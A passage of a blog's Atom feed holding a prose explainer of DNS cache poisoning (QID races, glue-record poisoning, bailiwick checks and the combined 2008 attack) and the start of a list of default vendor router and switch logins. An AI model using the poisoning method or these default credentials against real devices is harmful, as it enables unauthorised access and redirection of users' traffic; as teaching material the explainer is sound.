url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1aEyGOHStYrEKq4HvExxVXaosU2n1D4s4F4tOLMxf_nE9aVXCT32TsDa8V1aHESECEejyYDSvVWRrUn6Ds0oRHlvpY5LQIi8aH3559tSnFuCG15iCY88MUJPGoPWxojIt9R3Zchus_U/s72-c/original-logo.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-5360817530232309999</id><published>2012-11-20T02:10:00.004-08:00</published><updated>2012-12-19T04:48:33.279-08:00</updated><title type='text'>DNS</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRxdccoCQtDOnT40tSbtONATh6uVr3sDCiqpW5HaVvkDPA3wnJL-ZerCjZ_n_gTwvS3IjE4_Gmah38hYhOvCds9IVaFK3sSfRC7A7QfNe0ma1euMoxamKFFL_buKWz3dWXF1P5qChNGBs/s1600/dns-migration.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRxdccoCQtDOnT40tSbtONATh6uVr3sDCiqpW5HaVvkDPA3wnJL-ZerCjZ_n_gTwvS3IjE4_Gmah38hYhOvCds9IVaFK3sSfRC7A7QfNe0ma1euMoxamKFFL_buKWz3dWXF1P5qChNGBs/s320/dns-migration.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Pretend for the moment that you know only the basic function of DNS &lt;br /&gt;
— that it translates WWW.VICTIM.COM into 1.2.3.4. The code that &lt;br /&gt;
does this is called a resolver. Each time the resolver contacts the &lt;br /&gt;
DNS to translate names to addresses, it creates a packet called a &lt;br /&gt;
query. The exchange of packets is called a transaction. Since the &lt;br /&gt;
number of packets flying about on the internet requires scientific &lt;br /&gt;
notation to express, you can imagine there has to be some way of &lt;br /&gt;
not mixing them up.&lt;br /&gt;
&lt;br /&gt;
Bob goes to to a deli, to get a sandwich. Bob walks up to the &lt;br /&gt;
counter, takes a pointy ticket from a round red dispenser. The &lt;br /&gt;
ticket has a number on it. This will be Bob’s unique identifier for &lt;br /&gt;
his sandwich acquisition transaction. Note that the number will &lt;br /&gt;
probably be used twice — once when he is called to the counter to &lt;br /&gt;
place his order and again when he’s called back to get his &lt;br /&gt;
sandwich. If you’re wondering, Bob likes ham on rye with no onions.&lt;br /&gt;
&lt;br /&gt;
If you’ve got this, you have the concept of transaction IDs, which &lt;br /&gt;
are numbers assigned to keep different transactions in order. &lt;br /&gt;
Conveniently, the first sixteen bits of a DNS packet is just such a &lt;br /&gt;
unique identifier. It’s called a query id (QID). And with the &lt;br /&gt;
efficiency of the deli, the QID is used for multiple transactions.&lt;br /&gt;
2.&lt;br /&gt;
&lt;br /&gt;
Until very recently, there were two basic classes of DNS &lt;br /&gt;
vulnerabilities. One of them involves mucking about with the QID in &lt;br /&gt;
DNS packets and the other requires you to know the Deep Magic.&lt;br /&gt;
&lt;br /&gt;
First, QIDs.&lt;br /&gt;
&lt;br /&gt;
Bob’s a resolver and Alice is a content DNS server. Bob asks Alice &lt;br /&gt;
for the address of WWW.VICTIM.COM. The answer is 1.2.3.4. Mallory &lt;br /&gt;
would like the answer to be 6.6.6.0.&lt;br /&gt;
&lt;br /&gt;
It is a (now not) secret shame of mine that for a great deal of my &lt;br /&gt;
career, creating and sending packets was, to me, Deep Magic. Then &lt;br /&gt;
it became part of my job, and I learned that it is surprisingly &lt;br /&gt;
trivial. So put aside the idea that forging IP packets is the hard &lt;br /&gt;
part of poisoning DNS. If I’m Mallory and I’m attacking Bob, how &lt;br /&gt;
can he distinguish my packets from Alice’s? Because I can’t see the &lt;br /&gt;
QID in his request, and the QID in my response won’t match. The QID &lt;br /&gt;
is the only thing protecting the DNS from Mallory (me).&lt;br /&gt;
&lt;br /&gt;
QID attacks began in the olden days, when BIND simply incremented &lt;br /&gt;
the QID with every query response. If you can remember 1995, here’s &lt;br /&gt;
a workable DNS attack. Think fast: 9372 + 1. Did you get 9372, or &lt;br /&gt;
even miss and get 9373? You win, Alice loses. Mallory sends a &lt;br /&gt;
constant stream of DNS responses for WWW.VICTIM.COM. All are &lt;br /&gt;
quietly discarded —- until Mallory gets Bob to query for &lt;br /&gt;
WWW.VICTIM.COM. If Mallory’s response gets to your computer before &lt;br /&gt;
the legitimate response arrives from your ISP’s name server, you &lt;br /&gt;
will be redirected where Mallory tells you you’re going.&lt;br /&gt;
&lt;br /&gt;
Obvious fix: you want the QID be randomly generated. Now Alice and &lt;br /&gt;
Mallory are in a race. Alice sees Bob’s request and knows the QID. &lt;br /&gt;
Mallory has to guess it. The first one to land a packet with the &lt;br /&gt;
correct QID wins. Randomized QIDs give Alice a big advantage in &lt;br /&gt;
this race.&lt;br /&gt;
&lt;br /&gt;
But there’s a bunch more problems here:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If you convince Bob to ask Alice the same question 1000 times &lt;br /&gt;
all at once, and Bob uses a different QID for each packet, you made &lt;br /&gt;
the race 1000 times easier for Mallory to win.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Bob uses a crappy random number generator, Mallory can get &lt;br /&gt;
Bob to ask for names she controls, like WWW.EVIL.COM, and watch how &lt;br /&gt;
the QIDs bounce around; eventually, she’ll break the RNG and be &lt;br /&gt;
able to predict its outputs.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 16 bits just isn’t big enough to provide real security at the &lt;br /&gt;
traffic rates we deal with in 2008.&lt;br /&gt;
&lt;br /&gt;
Your computer’s resolver is probably a stub. Which means it won’t &lt;br /&gt;
really save the response. You don’t want it to. The stub asks a &lt;br /&gt;
real DNS server, probably run by your ISP. That server doesn’t know &lt;br /&gt;
everything. It can’t, and shouldn’t, because the whole idea of DNS &lt;br /&gt;
is to compensate for the organic and shifting nature of internet &lt;br /&gt;
naming and addressing. Frequently, that server has to go ask &lt;br /&gt;
another, and so on. The cool kids call this “recursion”.&lt;br /&gt;
&lt;br /&gt;
Responses carry another value, too, called a time to live (TTL). &lt;br /&gt;
This number tells your name server how long to cache the answer. &lt;br /&gt;
Why? Because they deal with zillions of queries. Whoever wins the &lt;br /&gt;
race between Alice and Mallory, their answer gets cached. All &lt;br /&gt;
subsequent responses will be dropped. All future requests for that &lt;br /&gt;
same data, within the TTL, come from that answer. This is good for &lt;br /&gt;
whoever wins the race. If Alice wins, it means Mallory can’t poison &lt;br /&gt;
the cache for that name. If Mallory wins, the next 10,000 or so &lt;br /&gt;
people that ask that cache where WWW.VICTIM.COM is go to 6.6.6.0.&lt;br /&gt;
3.&lt;br /&gt;
&lt;br /&gt;
Then there’s that other set of DNS vulnerabilities. These require &lt;br /&gt;
you to pay attention in class. They haven’t really been talked &lt;br /&gt;
about since 1997. And they’re hard to find, because you have to &lt;br /&gt;
understand how DNS works. In other words, you have to be completely &lt;br /&gt;
crazy. Lazlo Hollyfeld crazy. I’m speaking of course of RRset &lt;br /&gt;
poisoning.&lt;br /&gt;
&lt;br /&gt;
DNS has a complicated architecture. Not only that, but not all name &lt;br /&gt;
servers run the same code. So not all of them implement DNS in &lt;br /&gt;
exactly the same way. And not only that, but not all name servers &lt;br /&gt;
are configured properly.&lt;br /&gt;
&lt;br /&gt;
I just described a QID attack that poisons the name server’s cache. &lt;br /&gt;
This attack requires speed, agility and luck, because if the “real” &lt;br /&gt;
answer happens to arrive before your spoofed one, you’re locked &lt;br /&gt;
out. Fortunately for those of you that have a time machine, some &lt;br /&gt;
versions of DNS provide you with another way to poison the name &lt;br /&gt;
server’s cache anyway. To explain it, I will have to explain more &lt;br /&gt;
about the format of a DNS packet.&lt;br /&gt;
&lt;br /&gt;
DNS packets are variable in length and consist of a header, some &lt;br /&gt;
flags and resource records (RRs). RRs are where the goods ride &lt;br /&gt;
around. There are up to three sets of RRs in a DNS packet, along &lt;br /&gt;
with the original query. These are:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Answer RR’s, which contain the answer to whatever question &lt;br /&gt;
you asked (such as the A record that says WWW.VICTIM.COM is 1.2.3.4)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Authority RR’s, which tell resolvers which name servers to &lt;br /&gt;
refer to to get the complete answer for a question&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Additional RR’s, sometimes called “glue”, which contain any &lt;br /&gt;
additional information needed to make the response effective.&lt;br /&gt;
&lt;br /&gt;
A word about the Additional RR’s. Think about an NS record, like &lt;br /&gt;
the one that COM’s name server uses to tell us that, to find out &lt;br /&gt;
where WWW.VICTIM.COM is, you have to ask NS1.VICTIM.COM. That’s &lt;br /&gt;
good to know, but it’s not going to help you unless you know where &lt;br /&gt;
to find NS1.VICTIM.COM. Names are not addresses. This is a chicken &lt;br /&gt;
and egg problem. The answer is, you provide both the NS record &lt;br /&gt;
pointing VICTIM.COM to NS1.VICTIM.COM, and the A record pointing &lt;br /&gt;
NS1.VICTIM.COM to 1.2.3.1.&lt;br /&gt;
&lt;br /&gt;
Now, let’s party like it’s 1995.&lt;br /&gt;
&lt;br /&gt;
Download the source code for a DNS implementation and hack it up &lt;br /&gt;
such that every time it sends out a response, it also sends out a &lt;br /&gt;
little bit of evil — an extra Additional RR with bad information. &lt;br /&gt;
Then let’s set up an evil server with it, and register it as &lt;br /&gt;
EVIL.COM. Now get a bunch of web pages up with IMG tags pointing to &lt;br /&gt;
names hosted at that server.&lt;br /&gt;
&lt;br /&gt;
Bob innocently loads up a page with the malicious tags which &lt;br /&gt;
coerces his browser resolve that name. Bob asks Alice to resolve &lt;br /&gt;
that name. Here comes recursion: eventually the query arrives at &lt;br /&gt;
our evil server. Which sends back a response with an unexpected &lt;br /&gt;
(evil) Additional RR.&lt;br /&gt;
&lt;br /&gt;
If Alice’s cache honors the unexpected record, it’s 1995 —- buy &lt;br /&gt;
CSCO! —- and you just poisoned their cache. Worse, it will replace &lt;br /&gt;
the “real” data already in the cache with the fake data. You asked &lt;br /&gt;
where WWW.EVIL.COM was (or rather, the image tags did). But Alice &lt;br /&gt;
also “found out” where WWW.VICTIM.COM was: 6.6.6.0. Every resolver &lt;br /&gt;
that points to that name server will now gladly forward you to the &lt;br /&gt;
website of the beast.&lt;br /&gt;
4.&lt;br /&gt;
&lt;br /&gt;
It’s not 1995. It’s 2008. There are fixes for the attacks I have &lt;br /&gt;
described.&lt;br /&gt;
Fix 1:&lt;br /&gt;
&lt;br /&gt;
The QID race is fixed with random IDs, and by using a strong random &lt;br /&gt;
number generator and being careful with the state you keep for &lt;br /&gt;
queries. 16 bit query IDs are still too short, which fills us with &lt;br /&gt;
dread. There are hacks to get around this. For instance, DJBDNS &lt;br /&gt;
randomizes the source port on requests as well, and thus won’t &lt;br /&gt;
honor responses unless they come from someone who guesses the ~16 &lt;br /&gt;
bit source port. This brings us close to 32 bits, which is much &lt;br /&gt;
harder to guess.&lt;br /&gt;
Fix 2:&lt;br /&gt;
&lt;br /&gt;
The RR set poisoning attack is fixed by bailiwick checking, which &lt;br /&gt;
is a quirky way of saying that resolvers simply remember that if &lt;br /&gt;
they’re asking where WWW.VICTIM.COM is, they’re not interested in &lt;br /&gt;
caching a new address for WWW.GOOGLE.COM in the same transaction.&lt;br /&gt;
&lt;br /&gt;
Remember how these fixes work. They’re very important.&lt;br /&gt;
&lt;br /&gt;
And so we arrive at the present day.&lt;br /&gt;
5.&lt;br /&gt;
&lt;br /&gt;
Let’s try again to convince Bob that WWW.VICTIM.COM is 6.6.6.0.&lt;br /&gt;
&lt;br /&gt;
This time though, instead of getting Bob to look up WWW.VICTIM.COM &lt;br /&gt;
and then beating Alice in the race, or getting Bob to look up &lt;br /&gt;
WWW.EVIL.COM and slipping strychnine into his ham sandwich, we’re &lt;br /&gt;
going to be clever (sneaky).&lt;br /&gt;
&lt;br /&gt;
Get Bob to look up AAAAA.VICTIM.COM. Race Alice. Alice’s answer is &lt;br /&gt;
NXDOMAIN, because there’s no such name as AAAAA.VICTIM.COM. Mallory &lt;br /&gt;
has an answer. We’ll come back to it. Alice has an advantage in the &lt;br /&gt;
race, and so she likely beats Mallory. NXDOMAIN for &lt;br /&gt;
AAAAA.VICTIM.COM.&lt;br /&gt;
&lt;br /&gt;
Alice’s advantage is not insurmountable. Mallory repeats with &lt;br /&gt;
AAAAB.VICTIM.COM. Then AAAAC.VICTIM.COM. And so on. Sometime, &lt;br /&gt;
perhaps around CXOPQ.VICTIM.COM, Mallory wins! Bob believes &lt;br /&gt;
CXOPQ.VICTIM.COM is 6.6.6.0!&lt;br /&gt;
&lt;br /&gt;
Poisoning CXOPQ.VICTIM.COM is not super valuable to Mallory. But &lt;br /&gt;
Mallory has another trick up her sleeve. Because her response &lt;br /&gt;
didn’t just say CXOPQ.VICTIM.COM was 6.6.6.0. It also contained &lt;br /&gt;
Additional RRs pointing WWW.VICTIM.COM to 6.6.6.0. Those records &lt;br /&gt;
are in-bailiwick: Bob is in fact interested in VICTIM.COM for this &lt;br /&gt;
query. Mallory has combined attack #1 with attack #2, defeating fix &lt;br /&gt;
#1 and fix #2. Mallory can conduct this attack in less than 10 &lt;br /&gt;
seconds on a fast Internet link.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/5360817530232309999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/5360817530232309999?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/5360817530232309999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/5360817530232309999'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/11/dns.html' title='DNS'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRxdccoCQtDOnT40tSbtONATh6uVr3sDCiqpW5HaVvkDPA3wnJL-ZerCjZ_n_gTwvS3IjE4_Gmah38hYhOvCds9IVaFK3sSfRC7A7QfNe0ma1euMoxamKFFL_buKWz3dWXF1P5qChNGBs/s72-c/dns-migration.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-3139972034500740363</id><published>2012-10-30T00:30:00.000-07:00</published><updated>2012-10-30T00:32:13.691-07:00</updated><title type='text'> Default usernames and password</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
Default usernames and passwords for&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Routers/Switches/Hubs&amp;nbsp;&lt;/h3&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;/h2&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBUabC0oa_PqLdV9tK9_MbKeaJFeeg451j3hnF-ZEiUQmJGYu0GtoPIl7xAz9kRn-WWWBz9Uw93RyvOqmP6glLM77fbNsx4vF1D1J6eFM-Z5GJTG8BE_dyClt6M15RJqgIVlxoipFOD2U/s1600/2210-003.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;282&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBUabC0oa_PqLdV9tK9_MbKeaJFeeg451j3hnF-ZEiUQmJGYu0GtoPIl7xAz9kRn-WWWBz9Uw93RyvOqmP6glLM77fbNsx4vF1D1J6eFM-Z5GJTG8BE_dyClt6M15RJqgIVlxoipFOD2U/s320/2210-003.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Type/vendor/notes/etc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Username Password&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3Com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&amp;nbsp;&amp;nbsp;&amp;nbsp; synnet&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3Com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; read&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; synnet&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3Com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; write&amp;nbsp;&amp;nbsp;&amp;nbsp; synnet&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3Com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; monitor&amp;nbsp; monitor&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3Com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; manager&amp;nbsp; manager&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3Com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; security security&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3Com_Office_Connect_5x0_ISDN_Routers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PASSWORD&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3comCellPlex7000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3comCoreBuilder7000/6000/3500/2500&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; debug&amp;nbsp;&amp;nbsp;&amp;nbsp; synnet&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3comCoreBuilder7000/6000/3500/2500&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3comHiPerARCv4.1.x&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; adm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3ComLANplex2500&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; debug&amp;nbsp;&amp;nbsp;&amp;nbsp; synnet&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3ComLANplex2500&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3comLinkSwitch2000/2700&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3comSuperStackIISwitch&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2200&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; debug&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3comSuperStackIISwitch&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2700&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tech&lt;br /&gt;
&amp;nbsp;&amp;nbsp; ACC(Ericsson)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; netman&amp;nbsp;&amp;nbsp; netman&lt;br /&gt;
